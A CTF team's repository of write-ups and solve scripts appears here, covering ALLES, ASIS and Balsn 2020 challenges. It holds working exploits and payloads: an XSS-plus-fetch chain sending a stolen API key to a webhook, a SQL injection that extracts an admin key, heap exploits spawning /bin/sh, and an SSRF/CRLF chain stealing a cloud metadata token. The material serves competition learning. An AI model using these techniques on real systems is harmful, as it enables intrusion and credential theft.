├── 2020 ├── .DS_Store ├── ALLES CTF 2020 │ └── web │ │ ├── OnlyFreights │ │ └── sol.py │ │ └── where_is_my_cash │ │ └── README.md ├── ASIS 2020 │ ├── ppc │ │ └── baby_md5 │ │ │ ├── solve.py │ │ │ └── task.py │ └── pwn │ │ ├── refcnt │ │ ├── chall │ │ ├── libc.so.6 │ │ └── solve.py │ │ └── vote │ │ ├── libc.so.6 │ │ ├── solve.py │ │ └── vote ├── Balsn CTF 2020 │ ├── .DS_Store │ ├── README.md │ ├── crypto │ │ └── happy farm │ │ │ ├── README.md │ │ │ ├── solver.py │ │ │ └── solver.sage │ ├── misc │ │ ├── .DS_Store │ │ ├── bitcoin │ │ │ ├── .DS_Store │ │ │ ├── README.md │ │ │ └── bitcoin.png │ │ ├── patience 1 │ │ │ ├── README.md │ │ │ ├── output.png │ │ │ └── output2.png │ │ └── transformer │ │ │ ├── .DS_Store │ │ │ └── README.md │ └── web │ │ ├── .DS_Store │ │ ├── L5D │ │ └── README.md │ │ ├── TPC │ │ └── README.md │ │ └── The Woven │ │ └── the_woven_web.py ├── Fword CTF 2020 │ ├── README.md │ ├── crypto │ │ └── Tornado │ │ │ └── README.md │ ├── pwn │ │ └── One piece Remake │ │ │ └── README.md │ ├── rev │ │ ├── Auto │ │ │ └── README.md │ │ └── Welcome Reverser │ │ │ └── README.md │ ├── static │ │ └── rank.PNG │ └── web │ │ ├── Buried │ │ └── README.md │ │ ├── Otaku │ │ └── README.md │ │ ├── fshop │ │ └── fshop.md │ │ ├── pastaxss │ │ ├── README.md │ │ └── imgs │ │ │ ├── writeup1.png │ │ │ ├── writeup2.png │ │ │ └── writeup3.png │ │ └── useless │ │ └── README.md ├── N1CTF 2020 │ ├── crypto │ │ ├── BabyProof │ │ │ ├── README.md │ │ │ ├── e1.PNG │ │ │ └── e2.PNG │ │ ├── Curve │ │ │ └── README.md │ │ ├── FlagBot │ │ │ └── README.md │ │ ├── N1Vault │ │ │ └── README.md │ │ ├── VSS │ │ │ └── README.md │ │ └── easyRSA │ │ │ └── README.md │ ├── misc │ │ ├── filters │ │ │ └── README.md │ │ └── n1egg_allsignin │ │ │ └── README.md │ ├── pwn │ │ └── README.md │ ├── rev │ │ ├── fixed_camera │ │ │ └── README.md │ │ ├── n1egg_fixed_camera │ │ │ └── README.md │ │ ├── oflo │ │ │ └── README.md │ │ └── oh_my_julia │ │ │ └── README.md │ └── web │ │ ├── easy_tp5 │ │ └── README.md │ │ ├── fun_zabbix │ │ └── README.md │ │ ├── signin │ │ └── README.md │ │ └── the_king_of_phish │ │ └── README.md ├── TetCTF 2020 │ ├── crypto │ │ └── README.md │ ├── pwn │ │ ├── babyformat │ │ │ ├── babyformat │ │ │ ├── libc-2.23.so │ │ │ └── solve.py │ │ └── warmup │ │ │ ├── libc-2.23.so │ │ │ ├── solve.py │ │ │ └── warmup │ └── web │ │ ├── Super Calc │ │ └── README.md │ │ ├── hpny │ │ └── README.md │ │ └── mysqlimit │ │ └── README.md └── pbctf 2020 │ ├── README.md │ ├── crypto │ ├── ainissesthai │ │ ├── README.md │ │ └── ainissesthai.py │ └── strong_cipher │ │ ├── ciphertext │ │ └── solve.py │ ├── misc │ ├── gcombo │ │ ├── README.md │ │ ├── parsed.py │ │ └── solve.py │ ├── not_stego │ │ ├── README.md │ │ └── profile.png │ └── vaccine_stealer │ │ └── README.md │ ├── pwn │ ├── Amazing-ROP │ │ └── README.md │ ├── jheap │ │ └── README.md │ └── pwnception │ │ ├── README.md │ │ └── exploit.py │ ├── rev │ └── rgnn │ │ └── README.md │ └── web │ ├── XSP │ ├── README.md │ └── bruteforce.html │ ├── apoche1 │ └── README.md │ ├── ikea-name-generator │ └── README.md │ ├── simple_note │ └── exploit.py │ └── sploosh │ └── README.md ├── 2021 ├── *CTF-2021 │ ├── misc │ │ └── minegame.md │ ├── pwn │ │ └── babyheap │ │ │ └── exploit.py │ └── web │ │ └── lottery-again.md ├── .DS_Store ├── SSTF 2021 (Samsung CTF) │ └── README.md ├── google-ctf │ └── pwn │ │ └── tridroid │ │ ├── README.md │ │ ├── hook.js │ │ ├── server.py │ │ ├── solve.html │ │ ├── solve.js │ │ └── solve.py ├── line ctf 2021 │ └── README.md ├── pbctf 2021 │ ├── .DS_Store │ ├── Ghostwriter.md │ ├── README.md │ ├── binarytree.md │ ├── btle.md │ ├── cosmo.md │ ├── is_that_your_packet.md │ ├── switching.md │ └── web.md ├── seccon 2021 │ └── saas1.md ├── uiuctf │ └── kernel │ │ └── bpf_badjmp │ │ ├── README.md │ │ ├── build.sh │ │ ├── exploit.c │ │ └── send.py ├── union-ctf │ └── pwn │ │ ├── babyrarf │ │ ├── Dockerfile │ │ ├── babyrarf │ │ ├── babyrarf.xinetd │ │ ├── exploit.py │ │ └── main.c │ │ ├── notepad │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── exploit.py │ │ ├── flag.txt │ │ ├── libc.so.6 │ │ ├── notepad │ │ ├── notepad.cpp │ │ ├── notepad.h │ │ └── notepad.xinetd │ │ └── nutty │ │ ├── exploit │ │ ├── exploit.c │ │ └── run.py ├── zer0pts │ └── webs │ │ └── README.md └── CTF-2021 │ ├── misc │ ├── minegame.md │ └── puzzle.md │ ├── pwn │ └── babyheap │ │ ├── exploit.py │ │ ├── libc.so.6 │ │ └── pwn │ └── web │ ├── lottery-again.md │ ├── oh_my_bet.py │ └── solve.py ├── 2022 ├── dicectf │ ├── shadow.md │ └── x.png └── justctf │ └── Dank_Shark.md └── README.md /2020/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/.DS_Store -------------------------------------------------------------------------------- /2020/ALLES CTF 2020/web/where_is_my_cash/README.md: -------------------------------------------------------------------------------- 1 | # Where is my cash - 2 Solves 2 | 3 | ## Description 4 | 5 | We got first blood on this challenge. I'll just write about solution steps. 6 | 7 | ## Part 1 - XSS 8 | 9 | There was XSS in `api_key` parameter in homepage, Our input would directly goes to javascript variable. 10 | 11 | `const API_TOKEN = "INPUT";` 12 | 13 | So we could redirect admin to our controlled website with following payload. 14 | 15 | `?api_key="-(document.location='ourwebsite')-"` 16 | 17 | ## Part 2 - Misconfigured CORS 18 | 19 | There was option in website that would let us to provide link from challenge's website and admin would visit it. 20 | 21 | the `Access-Control-Allow-Origin` was set to `*` for `/1.0/user` endpoint and the `api_key` had to be set in `x-api-token` header. 22 | 23 | Also there was no `cache-control` or `max-age` header. So the response would be cached and we could request the cached response from any origin. we can request from cache with fetch, Just need to set `cache` option to `force-cache`. 24 | 25 | To achieve this, We used the following code. 26 | 27 | `fetch("https://api.wimc.ctf.allesctf.net/1.0/user",{"cache":"force-cache"}).then((r)=>r.text()).then((r)=>fetch("webhook?a="+btoa(r)));` 28 | 29 | which led to 30 | 31 | `{"code":200,"data":{"wallets":[],"user_id":"13371337-1337-1337-1337-133713371335","api_key":"980a0deeeaa5261687fb6ad2e37561","username":"local_it_staff"},"status":"success"}` 32 | 33 | So `local_it_staff`'s `api_key` is `980a0deeeaa5261687fb6ad2e37561` 34 | 35 | 36 | ## Part 3 - ssrf in html-pdf 37 | 38 | Also there was html to pdf functionality in website which was using [html-pdf](https://www.npmjs.com/package/html-pdf) module. 39 | 40 | We could give any html to the `/1.0/admin/createReport` endpoint with `html` parameter, and it would give us the pdf of our html. 41 | 42 | we could request to api with `XMLHttpRequest`. The api was running on port `1337` so we could request to api with following html 43 | 44 | ``` 45 | 46 | 47 | 48 | 49 | 58 | 59 | 60 | ``` 61 | Which result to `Cannot GET /` in created pdf. 62 | 63 | ## Part 4 - Steal admin api-key with SQLI 64 | There was `/internal/createTestWallet` endpoint which would let us to create wallet, but the query was vulnerable to SQL Injection. The query was: 65 | 66 | `INSERT INTO wallets VALUES ('${wallet_id}', NULL, ${balance}, 'TESTING WALLET 1234');` 67 | 68 | And we could control the `balance` variable. 69 |
We knew that the flag holder was `bob_h4x0r` with user_id `13371337-1337-1337-1337-133713371337`.
So we created another wallet with our `user_id` as owner and `bob_h4x0r`'s apikey as `wallet_note`. 70 | 71 | We could achieve this by providing following payload as `balance`. 72 | 73 | `0,""),(2122424354,"OUR USERID",1333,(select api_key from general where username="bob_h4x0r" )); -- -` 74 | 75 | After executing the query with SSRF, we could see new wallet with admin's apikey as note. After logging in with admin's apikey, we got the FLAG. 76 | 77 | >FLAG :ALLES{th4nks f0r y0uR h31p, my fr13nd!} 78 | 79 | Thanks to my amazing teammates and event's authors. 80 | -------------------------------------------------------------------------------- /2020/ASIS 2020/ppc/baby_md5/solve.py: -------------------------------------------------------------------------------- 1 | from hashlib import md5 2 | import random 3 | import string 4 | from sys import argv 5 | 6 | def _md5(x, n): 7 | for i in range(n): 8 | x = md5(x).hexdigest() 9 | return x 10 | 11 | def brute(x, m, n): 12 | assert(m > n) 13 | while 1: 14 | rand = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10)) 15 | z = _md5(x + rand, m-n) 16 | if z.startswith('dead'): 17 | print x + rand 18 | print z 19 | 20 | print brute(argv[1], int(argv[2]), int(argv[3])) 21 | -------------------------------------------------------------------------------- /2020/ASIS 2020/ppc/baby_md5/task.py: -------------------------------------------------------------------------------- 1 | def babymd5(m, n, x_head, y_head, x, y): 2 | if x.startswith(x_head) and y.startswith(y_head): 3 | for _ in range(m): 4 | xhash = md5(x.encode('utf-8')).hexdigest() 5 | x = xhash 6 | for _ in range(n): 7 | yhash = md5(y.encode('utf-8')).hexdigest() 8 | y = yhash 9 | if xhash == yhash: 10 | return True 11 | return False 12 | 13 | # conditions : (m, n, x_head, y_head) = (179, 4, 'ByQ', 'dead') 14 | -------------------------------------------------------------------------------- /2020/ASIS 2020/pwn/refcnt/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/ASIS 2020/pwn/refcnt/chall -------------------------------------------------------------------------------- /2020/ASIS 2020/pwn/refcnt/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/ASIS 2020/pwn/refcnt/libc.so.6 -------------------------------------------------------------------------------- /2020/ASIS 2020/pwn/refcnt/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | exe = ELF("./chall", 0) 6 | libc = exe.libc 7 | 8 | context.binary = exe 9 | GDBCMD = """ 10 | brva 0x930 11 | """ 12 | r = None 13 | 14 | def conn(): 15 | if args.LOCAL: 16 | return process(exe.path) 17 | else: 18 | return remote("69.90.132.248", 1337) 19 | 20 | def new(idx, size): 21 | r.sendlineafter("Choice: ", "1") 22 | r.sendlineafter(": ", str(idx)) 23 | r.sendlineafter(": ", str(size)) 24 | 25 | def edit(idx, data): 26 | r.sendlineafter("Choice: ", "2") 27 | r.sendlineafter(": ", str(idx)) 28 | r.sendafter(": ", data) 29 | 30 | def copy(src, dst): 31 | r.sendlineafter("Choice: ", "3") 32 | r.sendlineafter(": ", str(src)) 33 | r.sendlineafter(": ", str(dst)) 34 | 35 | def view(idx): 36 | r.sendlineafter("Choice: ", "4") 37 | r.sendlineafter(": ", str(idx)) 38 | r.recvuntil(": ") 39 | return r.recvline(0) 40 | 41 | def delete(idx): 42 | r.sendlineafter("Choice: ", "5") 43 | r.sendlineafter(": ", str(idx)) 44 | 45 | r = conn() 46 | new(0, 0x30) 47 | new(1, 0x10) 48 | 49 | for i in range(8): 50 | size = 0x40 + i*0x10 51 | new(4, size) 52 | edit(4, p64(0x21) * (size/8)) 53 | delete(4) 54 | 55 | for i in range(2): 56 | copy(0, 0) 57 | edit(0, 'x') 58 | 59 | new(2, 0x30) 60 | 61 | new(3, 0x30) 62 | shell = ';/bin/sh;' 63 | edit(3, shell + 'B'*(0x2f-len(shell))+'\xf1') 64 | delete(1) 65 | 66 | new(0, 0xe0) 67 | edit(0, p64(0)*2 + p64(0x421)) 68 | 69 | new(1, 0x40) 70 | delete(1) 71 | 72 | new(1, 0x40) 73 | libc.address = u64(view(1).ljust(8, '\x00')) - 0x1ebfd0 74 | log.success('Libc leak: '+hex(libc.address)) 75 | 76 | new(2, 0x60) 77 | copy(2, 2) 78 | edit(2, 'x') 79 | delete(2) 80 | 81 | new(2, 0xc0) 82 | edit(2, 'B'*0x50 + p64(0x70) + p64(libc.symbols['__free_hook']-8)) 83 | 84 | new(0, 0x60) 85 | new(1, 0x60) 86 | 87 | edit(1, p64(libc.symbols['system'])) 88 | edit(2, 'B'*0xc0) 89 | 90 | copy(3,3) 91 | r.interactive() 92 | -------------------------------------------------------------------------------- /2020/ASIS 2020/pwn/vote/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/ASIS 2020/pwn/vote/libc.so.6 -------------------------------------------------------------------------------- /2020/ASIS 2020/pwn/vote/solve.py: -------------------------------------------------------------------------------- 1 | 2 | from pwn import * 3 | e = ELF('./vote') 4 | libc = e.libc 5 | context.terminal = ['tmux', 'new-window'] 6 | #p = process(e.path) 7 | p = remote('69.90.132.248', 3371) 8 | 9 | def c(x): 10 | p.recvuntil('> ') 11 | p.sendline(str(x)) 12 | 13 | def d(x): 14 | p.recvuntil('?\n') 15 | p.sendline(str(x)) 16 | 17 | def vote(x, z=True): 18 | c(5) 19 | d('y') 20 | d(10) 21 | d(x) 22 | d('ZZZ') 23 | if(z): 24 | d('ZZZ') 25 | p.recvuntil('0x') 26 | return '0x'+p.recvline().replace('.\n','') 27 | 28 | def delete(idx): 29 | c(3) 30 | p.sendlineafter(': ', idx) 31 | 32 | def update(idx, x): 33 | c(4) 34 | p.sendlineafter(': ', idx) 35 | p.recvuntil(': ') 36 | leak = p.recvline().strip() 37 | d(x) 38 | return leak 39 | 40 | context.log_level = 'DEBUG' 41 | libc_leak_offset = 0x12090 42 | last_chunk_offset = 0x140e8 43 | a = vote('A'*0x40) 44 | b = vote('A'*0x40) 45 | 46 | delete(a) 47 | delete(b) 48 | heap_leak = u64(update(b, p64(0x417fd0)+'\x00')[8:16])-0x10 49 | print hex(heap_leak) 50 | update(b, p64(heap_leak+last_chunk_offset)+'\x00') 51 | W = vote('J'*0x40) 52 | lol = vote(p64(0)*2 + p64(heap_leak+libc_leak_offset) + p64(0x40)+p64(0x78)+p64(0x4a)+p64(0x1)*2) 53 | c(2) 54 | libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3e7d60 55 | print hex(libc.address) 56 | update(lol, p64(0)*2 + p64(libc.symbols['__free_hook']) + p64(0x40)+p64(0x78)+p64(0x4a)+p64(0x1)*2) 57 | #print p64(libc.symbols['do_system']) 58 | print update(W, p64(libc.address+0x4efc0)) 59 | c('0'*0x18+';/bin/sh;') 60 | 61 | p.interactive() 62 | -------------------------------------------------------------------------------- /2020/ASIS 2020/pwn/vote/vote: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/ASIS 2020/pwn/vote/vote -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/.DS_Store -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/README.md: -------------------------------------------------------------------------------- 1 | ## Balsn CTF 2020 Write ups 2 | 3 | **Team: Super⚔️Blue (Super Guesser ⚔️ Perfect Blue)** 4 | 5 | ### rev 6 | 7 | - Babyrev - https://gist.github.com/theKidOfArcrania/c16a4db2db02e89327300012f85176d2 8 | 9 | 10 | 11 | ### pwn 12 | 13 | - Diary - https://gist.github.com/farazsth98/ec8ea2869d1e76ea4a7a3cc96fe328ff 14 | - Macbook Air - https://github.com/perfectblue/ctf-writeups/tree/master/2020/BalsnCTF/machbookair 15 | 16 | 17 | 18 | ### misc 19 | 20 | - Election - https://github.com/perfectblue/ctf-writeups/tree/master/2020/BalsnCTF/election 21 | - IdleGame - https://github.com/perfectblue/ctf-writeups/tree/master/2020/BalsnCTF/IdleGame 22 | - Bitcoin - [misc/bitcoin](misc/bitcoin) 23 | - Transformer - [misc/transformer](misc/transformer) 24 | - misc-show-your-patience-1 - [misc/patience 1](misc/patience%201) 25 | - misc-show-your-patience-2 - https://gist.github.com/myrdyr/952f170cf5d41403eca9a552110a8373 26 | 27 | 28 | 29 | ### web 30 | 31 | - TPC - [web/TPC](web/TPC) 32 | 33 | - The Woven Web - [web/The Woven/the_woven_web.py](web/The%20Woven/the_woven_web.py) 34 | 35 | - L5D - [web/L5D](web/L5D) 36 | - Windows XP Media Player - https://gist.github.com/wbowling/c32714967623aafe466a1928615390bc 37 | 38 | 39 | 40 | ### crypto 41 | 42 | - Happy farm - [crypto/happy farm](crypto/happy%20farm) 43 | -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/crypto/happy farm/solver.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from Crypto.Util.number import * 3 | 4 | context.log_level = 'DEBUG' 5 | 6 | r = remote('happy-farm.balsnctf.com', 4001) 7 | # r = process(['python3', './chal.py']) 8 | 9 | def get_onion(): 10 | s = '' 11 | for _ in range(22): 12 | s += r.recvuntil('\n').decode() 13 | s = s.replace(' ', '').replace('\n', '').replace('x', '') 14 | return bytearray.fromhex(s) 15 | 16 | def get_eaten_onion(): 17 | s = '' 18 | for _ in range(22): 19 | s += r.recvuntil('\n').decode() 20 | s = s.replace(' ', '').replace('\n', '').replace('x', '') 21 | s = s[:173] + '0' + s[173:173+8] 22 | return bytearray.fromhex(s) 23 | 24 | # Level 1 25 | r.recvuntil('My seed:\n') 26 | seed = get_onion() 27 | r.recvuntil('My start date: ') 28 | date = bytearray.fromhex(r.recv(32).decode()) 29 | 30 | seed[0] ^= 1 31 | date[0] ^= 1 32 | r.recvuntil('start date: ') 33 | r.sendline(date.hex()) 34 | r.recvuntil('seed: ') 35 | r.sendline(seed.hex()) 36 | r.recvuntil('layer: ') 37 | r.sendline('1') 38 | 39 | r.recvuntil('Your onion\n') 40 | seed = get_onion() 41 | print(seed) 42 | 43 | date = seed[-16:] 44 | r.recvuntil('start date: ') 45 | r.sendline(date.hex()) 46 | r.recvuntil('seed: ') 47 | r.sendline(seed.hex()) 48 | r.recvuntil('layer: ') 49 | r.sendline('8999') 50 | 51 | r.recvuntil('Your onion\n') 52 | output = get_onion() 53 | 54 | r.recvuntil('How would my onion looks like? ') 55 | r.sendline(output.hex()) 56 | 57 | # Level 2 58 | r.recvuntil('My seed is\n') 59 | seed = get_onion() 60 | 61 | n1 = 2 ** (1023 * 3) - bytes_to_long(seed) 62 | 63 | r.recvuntil("layer: ") 64 | r.sendline('8999') 65 | r.recvuntil("your onion\n") 66 | onion1 = get_onion() 67 | 68 | n2 = bytes_to_long(onion1) 69 | for _ in range(8998): 70 | n2 = pow(n2, 3, n1) 71 | 72 | n = GCD(n2 - 2 ** 1023, n1) 73 | 74 | r.recvuntil('seed: ') 75 | r.sendline(onion1.hex()) 76 | r.recvuntil('layer: ') 77 | r.sendline('1') 78 | r.recvuntil('Here you go\n') 79 | onion2 = get_eaten_onion() 80 | 81 | # f = (x + ((onion2 + (i << 32)) << 296)) ^ 3 - onion1 82 | 83 | sage = process(['sage', './solver.sage', str(n), onion1.hex(), onion2.hex()]) 84 | onion2 = long_to_bytes(int(sage.recvline().decode().strip())) 85 | 86 | r.recvuntil('How would my onion looks like? ') 87 | r.sendline(onion2.hex()) 88 | 89 | # Level 3 90 | for _ in range(4): 91 | r.recvuntil('layer: ') 92 | r.sendline(str(9000 ** 3 % 192)) 93 | r.recvuntil('your onion\n') 94 | output = get_onion() 95 | 96 | r.recvuntil('How would my onion looks like? ') 97 | r.sendline(output.hex()) 98 | 99 | r.interactive() 100 | -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/crypto/happy farm/solver.sage: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | n = int(sys.argv[1]) 4 | onion1 = int(sys.argv[2], 16) 5 | onion2 = int(sys.argv[3], 16) 6 | 7 | PR. = PolynomialRing(Zmod(n)) 8 | 9 | for i in range(16): 10 | f = (x + ((onion2 + (i * 2 ^ 32)) * 2 ^ 296)) ^ 3 - onion1 11 | 12 | res = f.small_roots(beta=1.0, epsilon=0.04) 13 | if res: 14 | print(res[0] + ((onion2 + (i * 2 ^ 32)) * 2 ^ 296)) 15 | exit(0) -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/misc/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/misc/.DS_Store -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/misc/bitcoin/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/misc/bitcoin/.DS_Store -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/misc/bitcoin/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ## Bitcoin 6 | 7 | * simply send 8 | 9 | ``` 10 | echo -e '\xff' | nc the-last-bitcoin.balsnctf.com 7123 11 | ``` 12 | 13 | ![alt text](./bitcoin.png) 14 | 15 | 16 | -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/misc/bitcoin/bitcoin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/misc/bitcoin/bitcoin.png -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/misc/patience 1/README.md: -------------------------------------------------------------------------------- 1 | ## show your patience 1 2 | 3 | #### PART 1 4 | 5 | ![img](output.png) 6 | 7 | We got string `_q!fitlboEc` 8 | 9 | 10 | 11 | #### PART 2 12 | 13 | About the this one, we calculated power-on time (by the number of frames) and got something. 14 | 15 | ``` 16 | [37, 108, 109, 37, 109, 37, 37, 37, 109, 109, 37, 37, 37, 37, 37, 109, 109, 37, 109, 109, 37, 37, 37, 109, 37, 37, 108, 109, 37, 109, 109, 109, 37, 109, 109, 37, 37, 37, 109, 109, 37, 37] 17 | ``` 18 | 19 | 20 | 21 | and replaced `37` as `.` / `108` or `109` as `-`. So, we got something like below. 22 | 23 | ``` 24 | .--. -...- -... ..--.- -...- ..--.- --.- -...- -.. 25 | 26 | morse decode result: 27 | P=B_=_Q=D 28 | ``` 29 | 30 | 31 | 32 | Following `P=B_=_Q=D`, we thought it should be `p=b / q=d` and flipped PART 1 string. 33 | 34 | ``` 35 | _q!fitlboEc 36 | 37 | gave (with p=b q=d) 38 | 39 | _dit!flpoEc 40 | ``` 41 | 42 | 43 | 44 | #### PART 3 45 | 46 | number of columns == index of the string from PART 1 47 | 48 | we calculated them and got `i_did_it!!_i_did_it!!_flip_it_to_dEcodE!!!` 49 | 50 | So, flag was `BALSN{i_did_it!!_i_did_it!!_flip_it_to_dEcodE!!!}` -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/misc/patience 1/output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/misc/patience 1/output.png -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/misc/patience 1/output2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/misc/patience 1/output2.png -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/misc/transformer/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/misc/transformer/.DS_Store -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/misc/transformer/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Transformer: The Guardian Knight 4 | 5 | 6 | Solved By: Corb3nik 7 | 8 | 9 | ``` 10 | #!/usr/bin/env python3 11 | 12 | from pwn import * 13 | import re 14 | 15 | # BALSN{REDACT_is_this_WAF-+!} 16 | 17 | PACKET = """GET / HTTP/1.1\r\n\r\n""" 18 | p = remote("waf.balsnctf.com", 8889) 19 | p.send(PACKET * 100000) 20 | 21 | out = p.recvall() 22 | flags = re.findall(b"BALSN{.+?}", out) 23 | print(set(flags)) 24 | ``` 25 | 26 | 27 | if the response chunk has BALSN{...the.flag...}, it''l get redacted... But if the chunk contains BALNS{... (note the missing end because of packet fragmentation), it wont replace 28 | 29 | 30 | so if you send a bunch of HTTP requests with keep-alive, the server will send back the flag 100000 times, and hopefully, one of the flags will be split between two packets, and not get redacted 31 | -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/web/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/web/.DS_Store -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/web/TPC/README.md: -------------------------------------------------------------------------------- 1 | ## TPC 2 | 3 | by TnMch 4 | 5 | 6 | 7 | By checking the url givng `http://35.194.175.80:8000/` we found a printed text that mentions the entry point for this challenge 8 | 9 | main 10 | 11 | sending `file:///etc/passwd` as a **site** argument gives us the content for `/etc/passwd` 12 | 13 | ``` 14 | view-source:http://35.194.175.80:8000/query?site=file:///etc/passwd 15 | ``` 16 | 17 | etc_passwd 18 | 19 | So its **SSRF** ( Server-side request forgery ), if we send `file:///proc/self/cmdline` we get the command line which include python file name `main-dc1e2f5f7a4f359bb5ce1317a.py` 20 | 21 | ``` 22 | /usr/local/bin/python/usr/local/bin/gunicorn main-dc1e2f5f7a4f359bb5ce1317a:app--bind0.0.0.0:8000--workers5--worker-tmp-dir/dev/shm--worker-classgevent--access-logfile---error-logfile- 23 | ``` 24 | 25 | And finally read the source code http://35.194.175.80:8000/query?site=file:///opt/workdir/main-dc1e2f5f7a4f359bb5ce1317a.py` 26 | 27 | ``` 28 | import urllib.request 29 | 30 | from flask import Flask, request 31 | 32 | app = Flask(__name__) 33 | 34 | 35 | @app.route("/query") 36 | def query(): 37 | site = request.args.get('site') 38 | text = urllib.request.urlopen(site).read() 39 | return text 40 | 41 | 42 | @app.route("/") 43 | def hello_world(): 44 | return "/query?site=[your website]" 45 | 46 | 47 | if __name__ == "__main__": 48 | app.run(debug=False, host="0.0.0.0", port=8000) 49 | ``` 50 | 51 | 52 | 53 | Simple code, if we read more on `urllib` we can find it vulnerable to **CRLF** : https://bugs.python.org/issue35906 (CVE-2019-9947) 54 | 55 | And if we check `file:///etc/hosts` we find 56 | 57 | ``` 58 | 169.254.169.254 metadata.google.internal metadata 59 | ``` 60 | 61 | So we can read google cloud metadata using **SSRF** chained with **CRLF** 62 | 63 | ``` 64 | curl -v 'http://35.194.175.80:8000/query?site=http://metadata.google.internal/computeMetadata/v1/instance/%20HTTP%2F1.1%0D%0AMetadata-Flavor:%20Google%0D%0Alol:%20' 65 | ``` 66 | 67 | As output we have 68 | 69 | ``` 70 | attributes/ 71 | cpu-platform 72 | description 73 | disks/ 74 | guest-attributes/ 75 | hostname 76 | id 77 | image 78 | legacy-endpoint-access/ 79 | licenses/ 80 | machine-type 81 | maintenance-event 82 | name 83 | network-interfaces/ 84 | preempted 85 | remaining-cpu-time 86 | scheduling/ 87 | service-accounts/ 88 | tags 89 | virtual-clock/ 90 | zone 91 | ``` 92 | 93 | 94 | 95 | We just next get access token , find out that we have access to storage **devstorage.read_only** 96 | 97 | ``` 98 | { 99 | "issued_to": "102193360015934362205", 100 | "audience": "102193360015934362205", 101 | "scope": "https://www.googleapis.com/auth/trace.append https://www.googleapis.com/auth/monitoring.write https://www.googleapis.com/auth/service.management.readonly https://www.googleapis.com/auth/servicecontrol https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_only", 102 | "expires_in": 2844, 103 | "access_type": "online" 104 | } 105 | ``` 106 | 107 | Reading **access_token** 108 | 109 | ``` 110 | curl -s 'http://35.194.175.80:8000/query?site=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token%20HTTP%2F1.1%0D%0AMetadata-Flavor:%20Google%0D%0Alol:%20' 111 | ``` 112 | 113 | And to read all `asia.artifacts.balsn-ctf-2020-tpc.appspot.com` bucket data 114 | 115 | We have full cmd to just process all this steps : 116 | 117 | ``` 118 | mkdir out && access_token=$(curl -s 'http://35.194.175.80:8000/query?site=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token%20HTTP%2F1.1%0D%0AMetadata-Flavor:%20Google%0D%0Alol:%20' | jq -r '.access_token') && curl -s 'https://www.googleapis.com/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o?access_token='$access_token | jq -r '.items[].name' | while read obj;do curl -s -X GET -H 'Authorization: Bearer '$access_token https://storage.googleapis.com/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/{$obj} --output out/output_$(echo $obj | cut -d ':' -f 2) ;done && cd out && for i in $(ls); do mkdir files;tar -xvf $i -C files/ ;done && grep -r "BALSN" files/opt 119 | ``` 120 | 121 | And we just got the flag in the `/opt/workdir` directory 122 | 123 | ``` 124 | BALSN{What_permissions_does_the_service_account_need} 125 | ``` 126 | -------------------------------------------------------------------------------- /2020/Balsn CTF 2020/web/The Woven/the_woven_web.py: -------------------------------------------------------------------------------- 1 | from flask import Flask 2 | app = Flask(__name__) 3 | 